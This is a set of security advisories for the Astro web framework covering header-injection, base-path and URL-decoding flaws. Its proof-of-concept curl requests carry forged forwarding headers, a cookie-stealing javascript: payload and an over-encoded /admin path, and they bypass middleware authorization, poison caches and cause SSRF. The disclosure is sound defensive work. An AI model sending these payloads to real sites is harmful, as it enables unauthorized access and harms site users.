Summary When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC - Check out the minimal Astro example found here: https://github.com/Chisnet/minimaldynamicastroserver - nvm use - yarn run build - node ./dist/server/entry.mjs - curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com' - Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

- Middleware-based protected route bypass (only via x-forwarded-proto) - DoS via cache poisoning (if a CDN is present) - SSRF (only via x-forwarded-proto) - URL pollution (potential SXSS, if a CDN is present) - WAF bypass

Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97 https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(${protocol}://${hostnamePort}${req.url});

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

[!NOTE] The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

- Latest Astro version at the time (2.16.0) - The Node adapter - Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware - A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

ts // src/middleware.ts import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // auth logic if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });

1. When tryint to access /admin the attacker is naturally redirected : sh curl -i http://localhost:4321/admin <img width="620" height="102" alt="image" src="https://github.com/user-attachments/assets/15a7bffc-ee56-4ed9-84b2-091cf4d78351" />

2. The attackr can bypass the middleware path check using a malicious header value: sh curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin <img width="1348" height="159" alt="image" src="https://github.com/user-attachments/assets/d9d9ac1a-5efa-452b-981e-efea8a08d089" />

How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

- x: is considered the protocol - Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

<img width="601" height="418" alt="image" src="https://github.com/user-attachments/assets/9c374b2c-841c-48d6-98f1-3b3f5b060802" />

DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr <img width="998" height="108" alt="image" src="https://github.com/user-attachments/assets/4bab58e5-3045-4e25-9aa2-2f72a0832d86" />

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

<img width="444" height="202" alt="image" src="https://github.com/user-attachments/assets/c2990626-da5b-4868-9093-dbb9b34780ba" />

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website: <img width="1627" height="298" alt="Capture d’écran 2025-11-03 à 22 07 14" src="https://github.com/user-attachments/assets/02de5e67-f48d-4bf4-810d-6b0714ad2c12" />

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF: <img width="1878" height="456" alt="Capture d’écran 2025-11-06 à 21 18 26" src="https://github.com/user-attachments/assets/c5cca89c-9c65-46f6-bf70-cd7a90a9e0d9" /> empty x-forwarded-host + the target host in the path

Credits

- Allam Rachid (zhero;) - Allam Yasser (inzo)

Summary

Astro stripped a configured base path from request pathnames using a string-prefix check that did not verify a path-segment boundary. With base: "/app", a request to /appX/admin was treated as being under the base and resolved internally to the /admin route, while middleware still observed the public pathname /appX/admin. Middleware that authorizes routes by inspecting context.url.pathname could therefore be bypassed.

Impact

An unauthenticated remote attacker can bypass pathname-based middleware authorization in applications that:

- Configure a non-root base. - Protect base-prefixed routes in middleware using context.url.pathname.

Because routing and middleware resolved different effective pathnames, a request such as /appX/admin (or other single-character extensions like /app2/admin or /app-/admin) reached the protected /admin route without passing the middleware check that guards /app/admin. Astro's authentication guide demonstrates protecting routes in middleware via context.url.pathname, so this is a reasonable and expected pattern.

Affected versions

astro <= 7.2.3.

Patches

Fixed in astro 7.2.4. Base stripping now requires the pathname to equal the base without its trailing slash, or to be followed by a /, so a prefix that does not end on a path-segment boundary is no longer treated as being under the base. Routing and context.url.pathname now resolve the same pathname.

Workarounds

Upgrade to astro 7.2.4 or later. As a mitigation before upgrading, avoid relying solely on prefix checks of context.url.pathname for authorization, or reject requests whose pathname does not begin with the configured base followed by a path-segment boundary.

Credits

Reported by @Ryoga-exe.

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

---

Vulnerable Pattern

Middleware authorization sees:

text /%61dmin

Later rewrite route matching sees:

text /admin

This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

---

Root Cause

Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:

js let iterations = 0;

while (decoded !== pathname && iterations < 10) { pathname = decoded;

try { decoded = decodeURI(pathname); } catch { // decodeURI can fail when a decoded literal '%' forms an // invalid sequence with adjacent characters. break; }

iterations++; }

return decoded;

The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

---

Rewrite Route Matching

Later, Astro performs another decode during route matching:

js const decodedPathname = decodeURI(pathname);

Consequently:

text Middleware pathname: /%61dmin Route matcher: /admin

This creates a canonicalization mismatch between authorization logic and routing logic.

---

Proof of Concept

Middleware

js import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => { const pathname = context.url.pathname;

if (pathname === '/admin' || pathname.startsWith('/admin/')) { return new Response( '403 Forbidden: middleware blocked canonical /admin', { status: 403, headers: { 'content-type': 'text/plain;charset=UTF-8', 'x-middleware-pathname': pathname, }, } ); }

if (pathname !== '/') { const response = await next(context.url);

response.headers.set('x-middleware-pathname', pathname); response.headers.set( 'x-vuln-pattern', 'next(context.url) rewrite after pathname check' );

return response; }

return next(); });

The critical pattern is:

js return next(context.url);

The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

---

Reproduction

Protected Route

bash curl -i http://127.0.0.1:8989/admin

Response:

http HTTP/1.1 403 Forbidden x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin

---

Bypass Request

bash curl -i http://127.0.0.1:8989/%252525252525252525252561dmin

Response:

http HTTP/1.1 200 OK x-middleware-pathname: /%61dmin x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached Protected content rendered after rewrite route matching. request url: http://127.0.0.1:8989/%61dmin

This demonstrates:

text Middleware saw: /%61dmin Router reached: /admin

---

Encoding Depth Analysis

The bypass occurs at encoding depth 11.

Decoder Trace

text depth 0: /%61dmin -> /admin depth 1: /%2561dmin -> /admin depth 2: /%252561dmin -> /admin depth 3: /%25252561dmin -> /admin depth 4: /%2525252561dmin -> /admin depth 5: /%252525252561dmin -> /admin depth 6: /%25252525252561dmin -> /admin depth 7: /%2525252525252561dmin -> /admin depth 8: /%252525252525252561dmin -> /admin depth 9: /%25252525252525252561dmin -> /admin depth 10: /%2525252525252525252561dmin -> /admin depth 11: /%252525252525252525252561dmin -> /%61dmin

Depths 0–10 are fully decoded and blocked by middleware.

Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.

A later decodeURI() converts:

text /%61dmin

into:

text /admin

allowing route matching to reach the protected endpoint.

---

Exploit Preconditions

Exploitation requires:

1. Path-Based Authorization

Middleware performs authorization using:

js context.url.pathname

For example:

js if (context.url.pathname === '/admin') { block(); }

2. Rewrite-Based Routing

The request is subsequently passed into Astro routing via:

js next(context.url)

or equivalent rewrite behavior that performs route matching after middleware execution.

---

Impact

An unauthenticated attacker may bypass middleware protections guarding routes such as:

text /admin /api/admin /internal /dashboard

if the application:

1. Relies on pathname-based authorization checks. 2. Uses rewrite behavior that performs route matching after middleware execution.

Affected applications may expose protected pages or APIs despite middleware restrictions.

---

Security Analysis

The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.

Previous advisories demonstrated bypasses using:

text /%2561dmin

to reach:

text /admin

The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.

However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.

The existence of a decoding limit is not itself problematic.

The vulnerability arises because Astro:

1. Stops decoding. 2. Returns a partially canonicalized pathname. 3. Performs additional decoding later during route matching.

Authorization and routing therefore operate on different pathname representations.

---

Recommended Fix

Do not return partially decoded pathnames when the iteration limit is exceeded.

Instead, reject the request whenever decoding has not stabilized before reaching the cap.

Example Fix

js let iterations = 0;

while (decoded !== pathname) { if (iterations >= 10) { throw new Error('URL encoding depth exceeded'); }

pathname = decoded;

try { decoded = decodeURI(pathname); } catch { break; }

iterations++; }

return decoded;

Additional Hardening

Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent decodeURI() on values that have already been normalized.

Authorization and route matching must operate on the exact same canonical pathname representation.

---

Conclusion

Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.

When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.

This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.